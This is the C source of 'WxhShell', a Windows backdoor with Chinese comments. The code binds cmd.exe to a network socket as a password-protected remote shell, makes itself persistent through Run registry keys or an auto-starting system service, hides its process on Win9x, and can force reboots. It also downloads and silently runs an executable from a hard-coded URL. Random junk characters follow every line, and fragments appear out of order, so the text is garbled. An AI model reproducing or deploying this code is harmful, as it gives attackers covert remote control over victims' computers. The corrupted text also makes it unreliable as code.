    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D"2&P^-  
    else { BMG3|N^  
    closesocket(wsh); xg;+<iW  
    ExitThread(0); YSic-6z0Ms  
    } lJ}_G>GJ  
    break; Z8@J`0x  
    } Rnr(g;2  
  // 获取shell YA_c N5p/@  
  case 's': { #mCL) [  
    CmdShell(wsh); iXVe.n  
    closesocket(wsh); 1AM!8VR2  
    ExitThread(0); $!-c-0ub  
    break; :*Z4yx  
  } 4gz H8sF  
  // 退出 K<SyC54  
  case 'x': { [6%VRqY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %In A+5s`  
    CloseIt(wsh); c4^ks&)'  
    break; g"p%C:NN  
    } 4~Vx3gEV:  
  // 离开 =JK@z  
  case 'q': { g9}DnCT*.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /_AnP  
    closesocket(wsh); pz\ +U7  
    WSACleanup(); IoQEtA  
    exit(1); z<U-#k7nz  
    break; ORHp$Un~)  
        } ?mFv0_!O  
  } ff,pvk8N5  
  } ;o2$ Q  
m.# VYN`+A  
  // 提示信息 bYpnt V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hKLCJ#T  
} |,gc_G  
  } 2Mc3|T4)U  
.f%fHj  
  return; K1"*.\?F  
} ?(D q?-.  
VM GS[qrG  
// shell模块句柄 RKHyw 08  
int CmdShell(SOCKET sock) (2J: #  
{ eg\v0Y!rI  
STARTUPINFO si; f_jo+z{-ik  
ZeroMemory(&si,sizeof(si)); \E72L5nJW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PV'x+bN5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |:nOp(A\*  
PROCESS_INFORMATION ProcessInfo; m? J0i>H  
char cmdline[]="cmd"; V@e?#iz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LrM=*R h,O  
  return 0; 7~^GA.92  
} (C-{B[Y  
)t0$qd ]  
// 自身启动模式 Vd,jlt.t  
int StartFromService(void) ([\  
{ J%v=yBC2  
typedef struct +%T\`6  
{ TN!j13,  
  DWORD ExitStatus; U\4g#!qj  
  DWORD PebBaseAddress; `#F{Waww'  
  DWORD AffinityMask; ww\CQ6/h  
  DWORD BasePriority; Y!~49<;  
  ULONG UniqueProcessId; c }Ft^Il  
  ULONG InheritedFromUniqueProcessId; =9y[1t  
}   PROCESS_BASIC_INFORMATION; ?26I,:;  
A!s`[2 Z  
PROCNTQSIP NtQueryInformationProcess; jSh5!6O  
ddJQC|xR}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >kj`7GA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R]}}$R`j  
,&]S(|2%>t  
  HANDLE             hProcess; H*RC@O_hv  
  PROCESS_BASIC_INFORMATION pbi; 0%9 q8 M;  
zT =Ho   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j"ThEx0  
  if(NULL == hInst ) return 0; Y;dz,}re  
.0S~872  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mXRB7k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }iXDa?6%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~P*6ozSYpY  
] bM)t<  
  if (!NtQueryInformationProcess) return 0; \rx3aJl  
jqWu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \f]k CB  
  if(!hProcess) return 0; <C1H36p  
C]O(T2l{l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RkH W   
x[wq]q#*  
  CloseHandle(hProcess); fM]+SMZy  
@K\~O__  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M>wYD\oeg  
if(hProcess==NULL) return 0; D"Bl:W'?j  
~ Sg5:T3  
HMODULE hMod; 3QV*%  
char procName[255]; nHnK)9\N  
unsigned long cbNeeded; $:=A'd2  
7]U"Z*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h;C5hU 4P  
L"E7#}  
  CloseHandle(hProcess); <;9 I@VYK  
0IwA#[m1`  
if(strstr(procName,"services")) return 1; // 以服务启动 :#LLo}LKp  
2KB\1&N  
  return 0; // 注册表启动 !*s?B L  
} iqC|G/  
_7Rr=_1}  
// 主模块 `> 7; !  
int StartWxhshell(LPSTR lpCmdLine) chcbd y>C  
{ 14Xqn8uOW  
  SOCKET wsl; dT`D:)*:  
BOOL val=TRUE; ^Ew]uN>,  
  int port=0; 8UXjm_B^'  
  struct sockaddr_in door; @)UZ@ ~R  
8ZM?)# `@{  
  if(wscfg.ws_autoins) Install(); lW+\j3?Z$  
:}Xll#.,m  
port=atoi(lpCmdLine); j| v%)A  
v0 nj M  
if(port<=0) port=wscfg.ws_port; Upc+Ukw  
fL_4uC i\  
  WSADATA data; wg7V-+@i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zcel|oz)  
@G BxL*e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u8gS< \  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KK1 gNC4R  
  door.sin_family = AF_INET; bV(Y`g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ujDd1Bxf?  
  door.sin_port = htons(port); C\S3Gs  
_K`wG}YIE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $*SW8'],`  
closesocket(wsl); AJf4_+He  
return 1; 00G%gQXk,  
} S/}2;\Xm  
b=g8eMm  
  if(listen(wsl,2) == INVALID_SOCKET) { GQt8p[!  
closesocket(wsl); gD,1 06%  
return 1; O- ew%@_  
} H2&@shOOQJ  
  Wxhshell(wsl); LM$W*  
  WSACleanup(); I(]}XZq  
9 8j>1 "8  
return 0; ~T ]m>A!  
88VZR&v   
} $}<PL}+  
8J=? 5  
// 以NT服务方式启动 .Obw|V-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) udxFz2>_l$  
{ J5di[nu  
DWORD   status = 0; gi(H]|=a  
  DWORD   specificError = 0xfffffff; !g?|9  
*?Lv3}E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (*Z)(O*z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $Wjww-mx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m`v2: S}  
  serviceStatus.dwWin32ExitCode     = 0; QP@%(]fG  
  serviceStatus.dwServiceSpecificExitCode = 0; rx $mk  
  serviceStatus.dwCheckPoint       = 0; r#+d&.|  
  serviceStatus.dwWaitHint       = 0; zAK+8{,  
| h`0u'#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2>|dF~"  
  if (hServiceStatusHandle==0) return; L; T8?+x  
vGc,vjC3x  
status = GetLastError(); )'Oh `$M  
  if (status!=NO_ERROR) $56Z#'(D  
{  V_C-P[2~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B\<Q ;RI2;  
    serviceStatus.dwCheckPoint       = 0; ,R'@%,/  
    serviceStatus.dwWaitHint       = 0; IC#>X5  
    serviceStatus.dwWin32ExitCode     = status; IM:=@a{  
    serviceStatus.dwServiceSpecificExitCode = specificError; D;oe2E{I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pA`+hQNN  
    return; nA?`BOe(  
  } hhSy0  
XUM!Qv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J1/?JfF  
  serviceStatus.dwCheckPoint       = 0; stG~AC  
  serviceStatus.dwWaitHint       = 0; 8;z6=.4xtg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YCdS!&^UN  
} ]Oh@,V8  
<p}R~zk  
// 处理NT服务事件,比如:启动、停止 aHs^tPg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {n(b{ ibl  
{ ;6gDV`Twy  
switch(fdwControl) j Yx38_5e  
{ -#0qV:D  
case SERVICE_CONTROL_STOP: tna .52*/  
  serviceStatus.dwWin32ExitCode = 0; @xQgY*f#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *n; !G8\  
  serviceStatus.dwCheckPoint   = 0; AcS|c:3MUy  
  serviceStatus.dwWaitHint     = 0; O>qll 6]{@  
  { `D>S;[~S7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3j,Q`+l/6d  
  } A54N\x,  
  return; Dakoqke  
case SERVICE_CONTROL_PAUSE: V7GRA#|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; flk=>h|  
  break; rJPb 3F  
case SERVICE_CONTROL_CONTINUE: K2 he4<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6^%UU o%  
  break; LL]zT H0  
case SERVICE_CONTROL_INTERROGATE: qgE 73.!`6  
  break; wDcj,:h`  
}; vK 7^*qr;j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HqI t74+  
} hD\rtW  
2GFLnz  
// 标准应用程序主函数 pM x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) | B. 0TdF  
{ _=+V/=  
(]b!{kS  
// 获取操作系统版本 >GQEqXs  
OsIsNt=GetOsVer(); L~_9_9c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z= jr-)kK  
g$( V^  
  // 从命令行安装 qi;f^9M%  
  if(strpbrk(lpCmdLine,"iI")) Install(); |\QgX%  
Rz (QC\(  
  // 下载执行文件 -9"['-WH,  
if(wscfg.ws_downexe) { eL^.,H0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NxjB/N  
  WinExec(wscfg.ws_filenam,SW_HIDE); e&7JpT  
} /[O(ea$U  
PH`9MXh  
if(!OsIsNt) { ="x\`+U  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^m?KRm2  
HideProc(); P9=?zh 6G.  
StartWxhshell(lpCmdLine); W)9K`hM6  
} d_4T}% q  
else Vm%1> '&  
  if(StartFromService()) $P>`m$(8  
  // 以服务方式启动 ${+ @gJ+S  
  StartServiceCtrlDispatcher(DispatchTable); cU0s p  
else 9[1`jtm  
  // 普通方式启动 3mYiQ2  
  StartWxhshell(lpCmdLine); gfsI6/Y  
EG0WoUX|  
return 0; u1t% (_h  
} $SM# < @  
$tz;<M7B  
)_{dWf1  
ulu9'ch  
=========================================== /E Bo3`  
7w 37S  
f:ZAG4B  
Wm_4avXtO  
x 8Retuv  
i7ISX>%  
" K3m]%m2\  
w:s]$:MA8  
#include <stdio.h> G:<`moKgL  
#include <string.h> &n6$rBr %  
#include <windows.h> hJwC~HG5  
#include <winsock2.h> D _/^+H]1  
#include <winsvc.h> +6UVn\9Q  
#include <urlmon.h> Atflf2K  
S>.SSXlM  
#pragma comment (lib, "Ws2_32.lib") Q@ 2i~Qo[  
#pragma comment (lib, "urlmon.lib") (Q%'N3gk  
~\=1'D^6CK  
#define MAX_USER   100 // 最大客户端连接数 7:9.&W/KE  
#define BUF_SOCK   200 // sock buffer L!=4N!j  
#define KEY_BUFF   255 // 输入 buffer _7IKzUn9g[  
)N=NR2xBZ  
#define REBOOT     0   // 重启 D<8HZ%o  
#define SHUTDOWN   1   // 关机 AK\$i$@6  
+|bmT  
#define DEF_PORT   5000 // 监听端口 AgV G`q  
>y.%xK  
#define REG_LEN     16   // 注册表键长度 &07]LF$]  
#define SVC_LEN     80   // NT服务名长度 `9)t[7  
v3}L`dyh3  
// 从dll定义API Hu.t 3:w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mr?Xp(.}G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j6>.n49_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .u:81I=w(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r) $+   
(4'$y`Z  
// wxhshell配置信息 P`#Z9 HM4  
struct WSCFG { g)s{ IAVx  
  int ws_port;         // 监听端口 BYs-V:  
  char ws_passstr[REG_LEN]; // 口令 c7tfRq n+  
  int ws_autoins;       // 安装标记, 1=yes 0=no zunV<2~(2}  
  char ws_regname[REG_LEN]; // 注册表键名 [[>wB[w  
  char ws_svcname[REG_LEN]; // 服务名 I4i2+ *l}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *g y{]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $ "E).j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8wVY0oRnU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uHAT#\m:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %CS@g.H=_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f 1w~!O9  
 emK$`9  
}; Kl2lbe7  
356>QW'm  
// default Wxhshell configuration Cl ^\OZN\=  
struct WSCFG wscfg={DEF_PORT, 0{dz5gUde  
    "xuhuanlingzhe", #ggf' QIHp  
    1, kqce[hgs<  
    "Wxhshell", #<e\QE'!  
    "Wxhshell", ZKQG:M~|  
            "WxhShell Service", @;<ht c  
    "Wrsky Windows CmdShell Service", jV? }9L^;  
    "Please Input Your Password: ", PQK(0iCo4  
  1, k]5Bykf`Ky  
  "http://www.wrsky.com/wxhshell.exe", SV v;q?jZ  
  "Wxhshell.exe" kGd<5vCs  
    }; iXj o[Rz^C  
OfctoPP _0  
// 消息定义模块 usEwm,b)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~_Lr=CD;4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R2(3 >`FJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S,<EEtXQ  
char *msg_ws_ext="\n\rExit."; Gm9hYhC8  
char *msg_ws_end="\n\rQuit."; ?[)}l9  
char *msg_ws_boot="\n\rReboot..."; zX0md x<|<  
char *msg_ws_poff="\n\rShutdown..."; uiJS8(Cb  
char *msg_ws_down="\n\rSave to "; yY[<0|o u  
JJ{9U(`_y6  
char *msg_ws_err="\n\rErr!"; (FJ9-K0b{n  
char *msg_ws_ok="\n\rOK!"; L=q+|j1>  
$BFvF ,n  
char ExeFile[MAX_PATH]; Pu"R,a  
int nUser = 0; EhO|~A*R  
HANDLE handles[MAX_USER]; E<C&Cjz:H  
int OsIsNt; U Z|HJ8_  
dbOdq  
SERVICE_STATUS       serviceStatus; FXzFHU/dP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :6zG7qES3  
%{/%mJoX  
// 函数声明 Eh =~T9  
int Install(void); *+uHQgn(  
int Uninstall(void); 3&6#F"7  
int DownloadFile(char *sURL, SOCKET wsh); M/):e$S  
int Boot(int flag); ?0YCpn  
void HideProc(void); x.3J[=z=>  
int GetOsVer(void); wE@'ap#  
int Wxhshell(SOCKET wsl); ynw5-aS3  
void TalkWithClient(void *cs); _R.B[\r@  
int CmdShell(SOCKET sock); 8F:e|\SB#  
int StartFromService(void); p=C%Hmd5E  
int StartWxhshell(LPSTR lpCmdLine); m;D- u>o  
Wm);C~Le  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $KLD2BAL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I!>\#K  
{X[ HCfJd  
// 数据结构和表定义 iJZ/jCI  
SERVICE_TABLE_ENTRY DispatchTable[] = +V{7")px6  
{ 8E4mA5@   
{wscfg.ws_svcname, NTServiceMain}, `2`\]X_A{  
{NULL, NULL} ] )F7)  
}; @BrMl%gV  
x7vctjM|  
// 自我安装 =xNv\e  
int Install(void) /Nr*`l  
{ hgLj<  
  char svExeFile[MAX_PATH]; ?{U m  
  HKEY key; "Ae@lINn[y  
  strcpy(svExeFile,ExeFile);  1~l I8  
^-rfvc  
// 如果是win9x系统,修改注册表设为自启动 qwK2WE%T  
if(!OsIsNt) { MY/3] g<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zum0J{l h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c-g)eV|)S  
  RegCloseKey(key); @FC"nM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' j6gG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FJ %  
  RegCloseKey(key); YKbaf(K )9  
  return 0; P%#*-zCCx  
    } Vpr/  
  } z81esXl  
} fx@j?*Qb  
else { +8v9flh  
= <j"M85.  
// 如果是NT以上系统,安装为系统服务 N gLU$/y;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _=q! BW  
if (schSCManager!=0) wtT}V=_  
{ rz"txN  
  SC_HANDLE schService = CreateService =7m}yDs6$  
  ( Q2A7mGN  
  schSCManager, i~3u>CT  
  wscfg.ws_svcname, 3d-%>?-ee  
  wscfg.ws_svcdisp, gqR)IVk>%  
  SERVICE_ALL_ACCESS, "wlt> SU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  f>s?4  
  SERVICE_AUTO_START, r}0\}~'?c  
  SERVICE_ERROR_NORMAL, $t5 V=}m>  
  svExeFile, P i Fm|  
  NULL, Fbu5PWhlc  
  NULL, RN)dS>$  
  NULL, :> &fV  
  NULL, M:P0m6ie  
  NULL R(-<BtM!-  
  ); 4J?t_)  
  if (schService!=0) Y3h/~bM%  
  { ]c&<zeX,  
  CloseServiceHandle(schService); 4GR!y)  
  CloseServiceHandle(schSCManager); {8R"O{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0QvT   
  strcat(svExeFile,wscfg.ws_svcname); , =aJVb=C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ifo7%XPcg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5OO'v07b  
  RegCloseKey(key); 4Q IE8f Y  
  return 0; 557(EM  
    } ltkI}h,e  
  } RZe'Kw -  
  CloseServiceHandle(schSCManager); pGSai &  
} Yk42(!  
} ?x^z]N|P  
~V/?H!r'{}  
return 1; 2kv7UU#q2  
} `)qVF,Z}  
 PlYm&  
// 自我卸载 L{E^?iX  
int Uninstall(void) %L [&,a  
{ pA;-v MpMj  
  HKEY key;  e(NLX`  
/t6X(*xoy  
if(!OsIsNt) { /XudV2P-CA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y7S4d~&  
  RegDeleteValue(key,wscfg.ws_regname); /m( =`aRt  
  RegCloseKey(key); rCS#{x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^m/14MN|  
  RegDeleteValue(key,wscfg.ws_regname); /)xlJUq  
  RegCloseKey(key); lCF `*DM#  
  return 0; `xiCm':  
  } \m=?xb8 f  
} Z_gC&7+  
} ( Y+N@d  
else { (~$/$%b  
m~lpyAw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ? <Y+peu  
if (schSCManager!=0) p#SY /KIw  
{ U$H @ jJ*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #wc \T  
  if (schService!=0) ^ FZ^6*  
  { w'X]M#Q><  
  if(DeleteService(schService)!=0) { oo=#XZkk  
  CloseServiceHandle(schService); *_ +7ni  
  CloseServiceHandle(schSCManager); }tPk@$  
  return 0; m^_6:Q0F!8  
  } '!P"xBVAu  
  CloseServiceHandle(schService); YUQtMf9  
  } mR8W]'gl.L  
  CloseServiceHandle(schSCManager); z4@k$ L8  
} 9'x)M?{8  
} {k5X*W  
f'q 28lVf  
return 1; [+w3J#K  
} [ BT)l]  
PY3ps2^K.  
// 从指定url下载文件 >/<:Q  &  
int DownloadFile(char *sURL, SOCKET wsh) ?R-9W+U%f  
{ qzFQEepso  
  HRESULT hr; NNG}M(/V  
char seps[]= "/"; T@%m7|P  
char *token; e4I^!5)N  
char *file; O+=vEp(  
char myURL[MAX_PATH]; -Q;#sJ?  
char myFILE[MAX_PATH]; +>7$4`Nb2  
Y${l!+q  
strcpy(myURL,sURL); O[9-:,B{w  
  token=strtok(myURL,seps); }j1!j&&  
  while(token!=NULL) IMnP[WA!  
  { M[~{Vd  
    file=token; _ nP;Fx  
  token=strtok(NULL,seps); #'OaKt?Z)  
  } i#X!#vyc  
^MD;"A<  
GetCurrentDirectory(MAX_PATH,myFILE); 8hA^`Y  
strcat(myFILE, "\\"); Fg/dS6=n`?  
strcat(myFILE, file); wA`"\MWm  
  send(wsh,myFILE,strlen(myFILE),0); wFlvi=n/  
send(wsh,"...",3,0); e75UMWaeC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); < Fs-3(V+\  
  if(hr==S_OK) _,6f#t  
return 0; a;$P:C{gj?  
else &V7>1kD3  
return 1; *QM~O'WhD  
69kJC/1+l  
} w:o-klKXY  
iRG?# "  
// 系统电源模块 bg?"ILpk  
int Boot(int flag) I\\QS.2  
{ FVF-:C  
  HANDLE hToken; 8*g ^o\M  
  TOKEN_PRIVILEGES tkp; t ]c{c#N/  
Io2mWvu?5  
  if(OsIsNt) { E?PGu!&u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  .Qt4&B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bn]K+h\E  
    tkp.PrivilegeCount = 1; 7:h!Wj -a]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,J mbqOV?!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `-B+JQmen  
if(flag==REBOOT) { '?o9VrO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W v!<bT8r  
  return 0; N0n^L|(R  
} "`A:(<x  
else { !c<wS Q,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =He. fEy  
  return 0; pz_e=xr  
} LT+3q%W.UC  
  } 'ul\Q `N3  
  else { K8^kJSF\  
if(flag==REBOOT) { ly4Qg\l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0"xPX#Cvj  
  return 0; (#(O r  
} lS{r=y_0.  
else { kvsA]tK.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v7trr W}  
  return 0; {bF1\S]2  
} 0)uYizJce  
} xPmN},i'R$  
3Rl,GWK  
return 1; ned2lC&'d>  
} 5 HV)[us  
,:v&4x&=  
// win9x进程隐藏模块 OQlG+|  
void HideProc(void) KA]*ox6j;  
{ yno('1B@  
E@QA".  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |bZM/U=  
  if ( hKernel != NULL ) m.%`4L^`T  
  { Aq#/2t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4cCF \&yU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O>DNC-m)i{  
    FreeLibrary(hKernel); =~FG&rk^  
  } (N~$x  
^E>CGGS4  
return; ['X[qn  
} ;~zNqdlH  
sDiHXDI_m  
// 获取操作系统版本 FT\?:wpKa  
int GetOsVer(void) h:qHR] 8dZ  
{ Edt}",s7  
  OSVERSIONINFO winfo; Ruh)^g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?Z %:  
  GetVersionEx(&winfo); p5 ]_}I`+2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BQgoVnQo_c  
  return 1; oJ;rc{n-  
  else 0.(<'!"y  
  return 0; Z/ bB h  
} utO.WfWP  
X} JOX9pK  
// 客户端句柄模块 "HQF.#\#  
int Wxhshell(SOCKET wsl) Yx?aC!5M  
{ -rY 7)=  
  SOCKET wsh; s_wUM)!  
  struct sockaddr_in client; J?712=9  
  DWORD myID; 2P~)I)3V  
A! 6r/   
  while(nUser<MAX_USER) )3E,D~1e%  
{ cwtD@KC[B  
  int nSize=sizeof(client); g@nk.aRw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3 (lVmfk  
  if(wsh==INVALID_SOCKET) return 1; H/cTJ9zz  
h_ ! >yK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q .RO  
if(handles[nUser]==0) i Q`]ms+  
  closesocket(wsh); r4k nN 2:  
else RtF8A5ys  
  nUser++; -Wjh**  
  } K}x/ BhE+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yqcM(,0]  
tEhr  
  return 0; OeTu?d&N  
} `bP?o  
D\rmaF+  
// 关闭 socket 2cnj@E:5l  
void CloseIt(SOCKET wsh) zNtq"T[  
{ Lx+`<<_dJ  
closesocket(wsh); 12gw#J/)9h  
nUser--; W,NL*($^  
ExitThread(0); E/ O5e(h  
} >!BFt$sd  
TgaYt\"i[  
// 客户端请求句柄 <f%/px%1  
void TalkWithClient(void *cs) 9Q[>.):  
{ k ojG- M  
r,'O ).7  
  SOCKET wsh=(SOCKET)cs; dtW0\^ .L  
  char pwd[SVC_LEN]; #EwK"S~  
  char cmd[KEY_BUFF]; 9O;vUy)  
char chr[1]; G=$}5; t  
int i,j; 3V-6)V{KaE  
cf*zejbw  
  while (nUser < MAX_USER) { H-&3}   
zl)&U=4l  
if(wscfg.ws_passstr) { YN#XmX%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :WX0,-Gn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;QPy:x3  
  //ZeroMemory(pwd,KEY_BUFF); vgk9b!Xd  
      i=0; @36S}5Oa  
  while(i<SVC_LEN) { _t.FL@3e  
8-A|C< "  
  // 设置超时 T&/_e   
  fd_set FdRead; nLd~2qBuv  
  struct timeval TimeOut; bF6gBM@*  
  FD_ZERO(&FdRead); (Jpm KO  
  FD_SET(wsh,&FdRead); lPS*-p#IZ  
  TimeOut.tv_sec=8; |Ylg$?,9*  
  TimeOut.tv_usec=0; )F E8D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0M\NS$u(Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3H'*?|Y(#  
FfXZ|o$;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K -E`y  
  pwd=chr[0]; DB8s  
  if(chr[0]==0xd || chr[0]==0xa) { 1f;or_f#k?  
  pwd=0; UPO^V:.R4  
  break; ysth{[<5F3  
  } 5&(3A|P2  
  i++; 3ZN>9`  
    } hho%~^bn(  
jZ#UUnR%  
  // 如果是非法用户,关闭 socket (6-y+ LG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Lh!z>IWjOG  
} ,aO@.<"  
y< ud('D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bm<^rhJ9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9l l|JeNi  
J0qXtr%h\  
while(1) { V/&o]b   
8r^j P.V  
  ZeroMemory(cmd,KEY_BUFF); r#I>_Utsy  
2fP~;\AP  
      // 自动支持客户端 telnet标准   9fCO7AE0#  
  j=0; <?4cWp|i  
  while(j<KEY_BUFF) { -pX|U~a[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mk "vv k  
  cmd[j]=chr[0]; a 8-;   
  if(chr[0]==0xa || chr[0]==0xd) { $kv[iI @  
  cmd[j]=0; `:3&@.{T(  
  break; {g@A>  
  } C2 .W[T  
  j++; jMqx   
    } kYtHX~@  
,4yG(O$)  
  // 下载文件 w>vmF cp  
  if(strstr(cmd,"http://")) { fO+U HSC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3FY_A(+  
  if(DownloadFile(cmd,wsh)) #nbn K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *+W6 P.K  
  else ;"SZ}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `$f2eB&   
  } w Oj88J)  
  else { BDp:9yau  
rFO_fIJno  
    switch(cmd[0]) { 1^tSn#j  
  zM\IKo_"  
